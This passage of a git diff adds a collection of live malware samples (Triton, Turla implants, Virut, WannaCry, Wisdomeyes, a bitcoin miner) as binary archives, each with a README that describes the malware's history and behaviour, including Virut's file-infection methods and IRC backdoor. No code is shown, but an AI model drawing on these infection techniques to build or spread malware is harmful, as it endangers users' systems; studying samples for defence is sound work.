the Windows platforms that attempts to infect all files with an EXE extension with the exception of the some Windows system files.++### To detect and remove this threat:++Microsoft Defender Antivirus detects and removes this program.++ Microsoft Defender Antivirus for Windows 8.1 and Windows 10, or Microsoft Security Essentials for Windows 7 and Windows Vista+ Microsoft Safety Scanner++You should also run a full scan. A full scan might find other hidden malware.diff --git a/Malwares/Advanced Malware/Shodi/smb-9ai6oshz.7z b/Malwares/Advanced Malware/Shodi/smb-9ai6oshz.7znew file mode 100644index 0000000..6201199Binary files /dev/null and b/Malwares/Advanced Malware/Shodi/smb-9ai6oshz.7z differdiff --git a/Malwares/Advanced Malware/Triton/README.md b/Malwares/Advanced Malware/Triton/README.mdnew file mode 100644index 0000000..574c2a8--- /dev/null+++ b/Malwares/Advanced Malware/Triton/README.md@@ -0,0 +1,15 @@+# Triton Malware+++ - Triton is malware first discovered at a Saudi Arabian petrochemical plant in 2017.+ - It can disable safety instrumented systems, which can then contribute to a plant disaster.+ - In 2018, FireEye, a company that researches cyber-security, reported that the malware most likely came from:+ ---The Central Scientific Research Institute of Chemistry and Mechanics (CNIIHM)---+ a research entity in Russia.++ It has been called:+ "the world's most murderous malware."++In 2018, it was reported that the safety systems of a power station, believed to be in Saudi Arabia, were compromised when the Triconex industrial safety technology made by Schneider Electric SE was targeted in what is believed to have been a state sponsored attack.+The computer security company Symantec claimed that the malware, known as "Triton",+exploited a vulnerability in Windows operating systems.diff --git a/Malwares/Advanced Malware/Triton/TRISIS-TRITON-HATMAN-master.zip b/Malwares/Advanced Malware/Triton/TRISIS-TRITON-HATMAN-master.zipnew file mode 100644index 0000000..3f44734Binary files /dev/null and b/Malwares/Advanced Malware/Triton/TRISIS-TRITON-HATMAN-master.zip differdiff --git a/Malwares/Advanced Malware/Triton/TritonCRC.bin b/Malwares/Advanced Malware/Triton/TritonCRC.binnew file mode 100644index 0000000..2612f68Binary files /dev/null and b/Malwares/Advanced Malware/Triton/TritonCRC.bin differdiff --git a/Malwares/Advanced Malware/Turla/CarbonImplant.bin b/Malwares/Advanced Malware/Turla/CarbonImplant.binnew file mode 100644index 0000000..59dc719Binary files /dev/null and b/Malwares/Advanced Malware/Turla/CarbonImplant.bin differdiff --git a/Malwares/Advanced Malware/Turla/KazuarRAT.bin b/Malwares/Advanced Malware/Turla/KazuarRAT.binnew file mode 100644index 0000000..4f2cd22Binary files /dev/null and b/Malwares/Advanced Malware/Turla/KazuarRAT.bin differdiff --git a/Malwares/Advanced Malware/Turla/NCSC.bin b/Malwares/Advanced Malware/Turla/NCSC.binnew file mode 100644index 0000000..bb4814bBinary files /dev/null and b/Malwares/Advanced Malware/Turla/NCSC.bin differdiff --git a/Malwares/Advanced Malware/Turla/Nautilus Implant.bin b/Malwares/Advanced Malware/Turla/Nautilus Implant.binnew file mode 100644index 0000000..7734613Binary files /dev/null and b/Malwares/Advanced Malware/Turla/Nautilus Implant.bin differdiff --git a/Malwares/Advanced Malware/Turla/NeuronImplant2018.bin b/Malwares/Advanced Malware/Turla/NeuronImplant2018.binnew file mode 100644index 0000000..28b5c53Binary files /dev/null and b/Malwares/Advanced Malware/Turla/NeuronImplant2018.bin differdiff --git a/Malwares/Advanced Malware/Turla/OutlookBackdoor.bin b/Malwares/Advanced Malware/Turla/OutlookBackdoor.binnew file mode 100644index 0000000..556679bBinary files /dev/null and b/Malwares/Advanced Malware/Turla/OutlookBackdoor.bin differdiff --git a/Malwares/Advanced Malware/Turla/OutlookBackdoor2.bin b/Malwares/Advanced Malware/Turla/OutlookBackdoor2.binnew file mode 100644index 0000000..d9d0d78Binary files /dev/null and b/Malwares/Advanced Malware/Turla/OutlookBackdoor2.bin differdiff --git a/Malwares/Advanced Malware/Turla/README.md b/Malwares/Advanced Malware/Turla/README.mdnew file mode 100644index 0000000..c66a9bd--- /dev/null+++ b/Malwares/Advanced Malware/Turla/README.md@@ -0,0 +1,11 @@+# Turla/ Uroboros APT+   ++ Advanced persistent threat hacking group+ Turla has since been given other names such as Snake, Krypton, and Venomous Bear.+ Turla has been targeting governments and militaries since at least 2008.+ SINCE 2015 there was evidence of it targeting operating systems running Linux+ High infection rates of the virus were observed in Russia, Kazakhstan and Vietnam,+ followed by US and China,+ low infection rates in Europe, South America and Asia+ None in Africadiff --git a/Malwares/Advanced Malware/Turla/TurlaDropper.bin b/Malwares/Advanced Malware/Turla/TurlaDropper.binnew file mode 100644index 0000000..47ba951Binary files /dev/null and b/Malwares/Advanced Malware/Turla/TurlaDropper.bin differdiff --git a/Malwares/Advanced Malware/Turla/TurlaKeylogger.bin b/Malwares/Advanced Malware/Turla/TurlaKeylogger.binnew file mode 100644index 0000000..550ab9dBinary files /dev/null and b/Malwares/Advanced Malware/Turla/TurlaKeylogger.bin differdiff --git a/Malwares/Advanced Malware/Virut/README.md b/Malwares/Advanced Malware/Virut/README.mdnew file mode 100644index 0000000..512755d--- /dev/null+++ b/Malwares/Advanced Malware/Virut/README.md@@ -0,0 +1,35 @@+## Virus:W32/Virut+ ++### Technical Details++Viruses belonging to this family infect files with .EXE and .SCR extensions. All viruses belonging to the Virut family also contain an IRC-based backdoor that provides unauthorized access to infected computers.++Some Virut variants contain the following text strings:++ O noon of life! O time to celebrate!+ O summer garden!+ Relentlessly happy and expectant, standing: -+ Watching all day and night, for friends I wait:+ Where are you, friends? Come! It is time! It's late!++### Entry Point Obscuring++Virut is a polymorphic appending file infector with EPO (Entry Point Obscuring) capabilities. The virus uses several infection methods:++ Method 1: The virus relocates a certain amount of bytes from the entry point of the original file and writes its initial decryptor there. So when an infected file is run, the virus code gets control first. The initial decryptor then decrypts a small part of the virus's body that is appended to the end of the infected file and passes control to it.+ Method 2: The virus appends its code to the end of the file and changes the entry point address of the original program so it points to the start of the appended viral code, where the decryptor is located. This is the most common way of infecting files for appending parasitic infectors.+ Method 3: The virus writes its initial code into a gap (empty space) in the end of the original file's code section and redirects the entry point address to that code. The initial code decrypts a small part of the virus body and passes control to it. Then the main decryptor takes control and decrypts the rest of the virus body. Once the file is infected, the virus patches the first found API call (from the entry point address) in the original program so that instead of the API, it calls the initial virus decryptor. That decryptor may be located in the end of the code section as said above.++### Activity++The virus checks whether or not it is already active. If it is, then depending on the infection method used, the virus does one of the following:++ Relocates the original file's data back to its place and passes control to it+ Returns control to the original file's entry point address+ Calls the replaced API itself and then passes control to the original program.++If the virus is not yet active, the second decryptor decrypts the rest of the virus body and initiates installation cycle. During the installation cycle, the virus injects its code into a system process, hooks a few low-level Windows API calls and stays resident in memory. When a file with .EXE or .SCR extension is opened or run, the virus tries to infect it with one of its four methods.+Backdoor++The virus contains an IRC-based backdoor. The backdoor connects to the pre-defined IRC server (ircd.zief.pl in the latest variants) and joins the "virtu" channel. The author of the virus can give commands to all or to specific bots created by the virus in the channel. The bot is quite primitive - it allows a hacker to download and run files from Internet.diff --git a/Malwares/Advanced Malware/Virut/smb-qua22o4u.7z b/Malwares/Advanced Malware/Virut/smb-qua22o4u.7znew file mode 100644index 0000000..e296ed6Binary files /dev/null and b/Malwares/Advanced Malware/Virut/smb-qua22o4u.7z differdiff --git a/Malwares/Advanced Malware/Wannacry/32f24601153be0885f11d62e0a8a2f0280a2034fc981d8184180c5d3b1b9e8cf.zip b/Malwares/Advanced Malware/Wannacry/32f24601153be0885f11d62e0a8a2f0280a2034fc981d8184180c5d3b1b9e8cf.zipnew file mode 100644index 0000000..c499ec0Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/32f24601153be0885f11d62e0a8a2f0280a2034fc981d8184180c5d3b1b9e8cf.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/697158bcade7373ccc9e52ea1171d780988fc845d2b696898654e18954578920.zip b/Malwares/Advanced Malware/Wannacry/697158bcade7373ccc9e52ea1171d780988fc845d2b696898654e18954578920.zipnew file mode 100644index 0000000..3c23ed0Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/697158bcade7373ccc9e52ea1171d780988fc845d2b696898654e18954578920.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/README.md b/Malwares/Advanced Malware/Wannacry/README.mdnew file mode 100644index 0000000..2f98bda--- /dev/null+++ b/Malwares/Advanced Malware/Wannacry/README.md@@ -0,0 +1,27 @@+# ☠️☠️ WANNACRY RANSOMWARE ☠️☠️+++++The WannaCry ransomware attack was a worldwide cyberattack in May 2017 by the WannaCry ransomware cryptoworm, which targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency. It propagated through ETERNALBLUE, an exploit developed by the United States National Security Agency (NSA) for older Windows systems. EternalBlue was stolen and leaked by a group called The Shadow Brokers a month prior to the attack. While Microsoft had released patches previously to close the exploit, much of WannaCry's spread was from organizations that had not applied these, or were using older Windows systems that were past their end-of-life. These patches were imperative to organizations' cyber security but many were not implemented due to ignorance of their importance. Some have claimed a need for 24/7 operation, aversion to risking having formerly working applications breaking because of patch changes, lack of personnel or time to install them, or other reasons.++The attack was estimated to have affected more than 200,000 computers across 150 countries, with total damages ranging from hundreds of millions to billions of dollars. Security experts believed from preliminary evaluation of the worm that the attack originated from North Korea or agencies working for the country.++## HOW DOES IT WORK+++## ==> TYPE:+ Ransomware Cryptoworm++## ==> Modus Operandi:+ Considered a network worm because it also includes a transport mechanism to automatically spread itself. This transport code scans for vulnerable systems, then uses the EternalBlue exploit to gain access, and the DoublePulsar tool to install and execute a copy of itself.++## ==> Language:+ WannaCry versions 0, 1, and 2 were created using Microsoft Visual C++ 6.0++## ==> Key Points and Mitigation:+```+☣️The WannaCry ransomware epidemic of 2017 disrupted hospitals, banks and communications companies worldwide☣️+💉Four years later, cybercriminals renewed efforts to deploy WannaCry ransomware during the COVID-19 pandemic.🩺+💊Companies can take steps to prevent infection, with software updates being most important.+```diff --git a/Malwares/Advanced Malware/Wannacry/WannaCry-lockscreen712_0_3.png b/Malwares/Advanced Malware/Wannacry/WannaCry-lockscreen712_0_3.pngnew file mode 100644index 0000000..f8b96f8Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/WannaCry-lockscreen712_0_3.png differdiff --git a/Malwares/Advanced Malware/Wannacry/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.bin.zip b/Malwares/Advanced Malware/Wannacry/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.bin.zipnew file mode 100644index 0000000..1b2a742Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.bin.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/mssecsvc_0c694193ceac8bfb016491ffb534eb7c.zip b/Malwares/Advanced Malware/Wannacry/mssecsvc_0c694193ceac8bfb016491ffb534eb7c.zipnew file mode 100644index 0000000..23016b8Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/mssecsvc_0c694193ceac8bfb016491ffb534eb7c.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/mssecsvc_41b5ba4bf74e65845fa8c9861ca34508.zip b/Malwares/Advanced Malware/Wannacry/mssecsvc_41b5ba4bf74e65845fa8c9861ca34508.zipnew file mode 100644index 0000000..92acfa7Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/mssecsvc_41b5ba4bf74e65845fa8c9861ca34508.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-0e89k3id.zip b/Malwares/Advanced Malware/Wannacry/smb-0e89k3id.zipnew file mode 100644index 0000000..bda6626Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-0e89k3id.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-3kn32w1v.zip b/Malwares/Advanced Malware/Wannacry/smb-3kn32w1v.zipnew file mode 100644index 0000000..313a531Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-3kn32w1v.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-5cgc70g1.7z b/Malwares/Advanced Malware/Wannacry/smb-5cgc70g1.7znew file mode 100644index 0000000..4982509Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-5cgc70g1.7z differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-7rwkaozq.zip b/Malwares/Advanced Malware/Wannacry/smb-7rwkaozq.zipnew file mode 100644index 0000000..a81be9eBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-7rwkaozq.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-82rfim2h.zip b/Malwares/Advanced Malware/Wannacry/smb-82rfim2h.zipnew file mode 100644index 0000000..f30b1beBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-82rfim2h.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-b4tq2hti.zip b/Malwares/Advanced Malware/Wannacry/smb-b4tq2hti.zipnew file mode 100644index 0000000..03eda37Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-b4tq2hti.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-d1674sc2.zip b/Malwares/Advanced Malware/Wannacry/smb-d1674sc2.zipnew file mode 100644index 0000000..dcfb70fBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-d1674sc2.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-e0y16y2p.zip b/Malwares/Advanced Malware/Wannacry/smb-e0y16y2p.zipnew file mode 100644index 0000000..9220d20Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-e0y16y2p.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-fvd4o59p.zip b/Malwares/Advanced Malware/Wannacry/smb-fvd4o59p.zipnew file mode 100644index 0000000..d8d13c8Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-fvd4o59p.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-gab_1g0l.zip b/Malwares/Advanced Malware/Wannacry/smb-gab_1g0l.zipnew file mode 100644index 0000000..3ed7ca5Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-gab_1g0l.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-gv5k5anv.zip b/Malwares/Advanced Malware/Wannacry/smb-gv5k5anv.zipnew file mode 100644index 0000000..a6566d7Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-gv5k5anv.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-ij2n4cyd.zip b/Malwares/Advanced Malware/Wannacry/smb-ij2n4cyd.zipnew file mode 100644index 0000000..fa6546bBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-ij2n4cyd.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-jfpzku0b.zip b/Malwares/Advanced Malware/Wannacry/smb-jfpzku0b.zipnew file mode 100644index 0000000..020c552Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-jfpzku0b.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-kmnr7qja.zip b/Malwares/Advanced Malware/Wannacry/smb-kmnr7qja.zipnew file mode 100644index 0000000..bb77419Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-kmnr7qja.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-lyqgstbu.zip b/Malwares/Advanced Malware/Wannacry/smb-lyqgstbu.zipnew file mode 100644index 0000000..2d055aaBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-lyqgstbu.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-oat1c4ef.zip b/Malwares/Advanced Malware/Wannacry/smb-oat1c4ef.zipnew file mode 100644index 0000000..803b9b8Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-oat1c4ef.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-oc35cajn.zip b/Malwares/Advanced Malware/Wannacry/smb-oc35cajn.zipnew file mode 100644index 0000000..b5a0211Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-oc35cajn.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-ojjfqxul.zip b/Malwares/Advanced Malware/Wannacry/smb-ojjfqxul.zipnew file mode 100644index 0000000..11e0e8cBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-ojjfqxul.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-tkas_857.zip b/Malwares/Advanced Malware/Wannacry/smb-tkas_857.zipnew file mode 100644index 0000000..05d3b22Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-tkas_857.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-vasyl9yj.zip b/Malwares/Advanced Malware/Wannacry/smb-vasyl9yj.zipnew file mode 100644index 0000000..cb8bcd6Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-vasyl9yj.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-y16ftv9_.zip b/Malwares/Advanced Malware/Wannacry/smb-y16ftv9_.zipnew file mode 100644index 0000000..b430522Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-y16ftv9_.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/smb-z7uhqxx6.zip b/Malwares/Advanced Malware/Wannacry/smb-z7uhqxx6.zipnew file mode 100644index 0000000..313205eBinary files /dev/null and b/Malwares/Advanced Malware/Wannacry/smb-z7uhqxx6.zip differdiff --git a/Malwares/Advanced Malware/Wannacry/wannacry.gif b/Malwares/Advanced Malware/Wannacry/wannacry.gifnew file mode 100644index 0000000..4814a74Binary files /dev/null and b/Malwares/Advanced Malware/Wannacry/wannacry.gif differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/README.md b/Malwares/Advanced Malware/Wisdomeyes/README.mdnew file mode 100644index 0000000..d68c58b--- /dev/null+++ b/Malwares/Advanced Malware/Wisdomeyes/README.md@@ -0,0 +1,36 @@+# ☠️☠️ WIN32/Wisdomeyes ☠️☠️+++Wisdomeyes (Win32/Wisdomeyes) is malicious software that can hijack browsers (changing the settings), download and install other malicious programs, steal private information, display advertisements, create unwanted tasks, and modify system files.++It can seriously damage operating systems and cause problems for regular computer users.+++## ==> Infection+ This trojan is likely to be distributed through untrustworthy software, file download sources, or spam campaigns. Some examples of channels that should NOT be used to download files or programs are: Peer-to-Peer networks (torrent clients, eMule, etc.), unofficial pages, freeware download sites or free file hosting pages, and third party downloaders.+## ==> NAME:+ Win32/Wisdomeyes trojan++## ==> Distribution:+ Infected email attachments, malicious online advertisements, social engineering, software 'cracks', unofficial software update tools++## ==> TYPE:+ Trojan, Password-stealing virus, Banking malware, Spyware++## ==> Modus Operandi:+ hijack browsers (changing the settings), download and install other malicious programs, steal private information, display advertisements, create unwanted tasks, and modify system files.++## ==> PAYLOAD:+ Info stealer, keylogger, backdoor trojan, browser hijacker, adware++## ==> TARGETS:+ Stolen banking information, passwords, identity theft, unwanted ads and tasks, modified system files.++## ==> Key Points and Mitigation:.+```+☣️This Trojan is relatively easy to disinfect.☣️+💉Based on the settings of your AV (tested against windows defender), it will either move the file to the quarantine where it cannot spread or cause harm, or remove it.🩺+💊Companies can take steps to prevent infection, with software and AV updates being most important.+```++diff --git a/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.7z b/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.7znew file mode 100644index 0000000..d5e8b01Binary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.7z differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.webp b/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.webpnew file mode 100644index 0000000..1b29578Binary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/WisdomEyes.webp differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/smb-6j9cg2g0.7z b/Malwares/Advanced Malware/Wisdomeyes/smb-6j9cg2g0.7znew file mode 100644index 0000000..7d666edBinary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/smb-6j9cg2g0.7z differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/smb-7888b9do.7z b/Malwares/Advanced Malware/Wisdomeyes/smb-7888b9do.7znew file mode 100644index 0000000..bd3b6d8Binary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/smb-7888b9do.7z differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/smb-k51j6zkj.7z b/Malwares/Advanced Malware/Wisdomeyes/smb-k51j6zkj.7znew file mode 100644index 0000000..b7a1d81Binary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/smb-k51j6zkj.7z differdiff --git a/Malwares/Advanced Malware/Wisdomeyes/wisdomeyes-homepage.jpg b/Malwares/Advanced Malware/Wisdomeyes/wisdomeyes-homepage.jpgnew file mode 100644index 0000000..5754dcdBinary files /dev/null and b/Malwares/Advanced Malware/Wisdomeyes/wisdomeyes-homepage.jpg differdiff --git a/Malwares/Advanced Malware/zhackgithub.gif b/Malwares/Advanced Malware/zhackgithub.gifnew file mode 100644index 0000000..42f2ee3Binary files /dev/null and b/Malwares/Advanced Malware/zhackgithub.gif differdiff --git a/Malwares/Advanced Malware/zhackgithub1.gif b/Malwares/Advanced Malware/zhackgithub1.gifnew file mode 100644index 0000000..3ad80c9Binary files /dev/null and b/Malwares/Advanced Malware/zhackgithub1.gif differdiff --git a/Malwares/Bitcoin miners/02ca4397da55b3175aaa1ad2c99981e792f66151.bin b/Malwares/Bitcoin miners/02ca4397da55b3175aaa1ad2c99981e792f66151.binnew file mode 100644index 0000000..375cd10Binary files /dev/null and b/Malwares/Bitcoin miners/02ca4397da55b3175aaa1ad2c99981e792f66151.bin differdiff --git a/Malwares/Bitcoin miners/README.md b/Malwares/Bitcoin miners/README.mdnew file mode 100644index 0000000..34965b5--- /dev/null+++ b/Malwares/Bitcoin miners/README.md@@ -0,0 +1,7 @@+# Bitcoin Miner+++ Meant to be embeded in a legit application......🤭+ POR EXAMP🤔....A cracked game on pirate bay...+ or an absurdly huge game crack file you downloaded from a website that was entirely in mandarin....or Russian+ so yeah!...Lesson: Launch Pirated software offline/flight mode..😝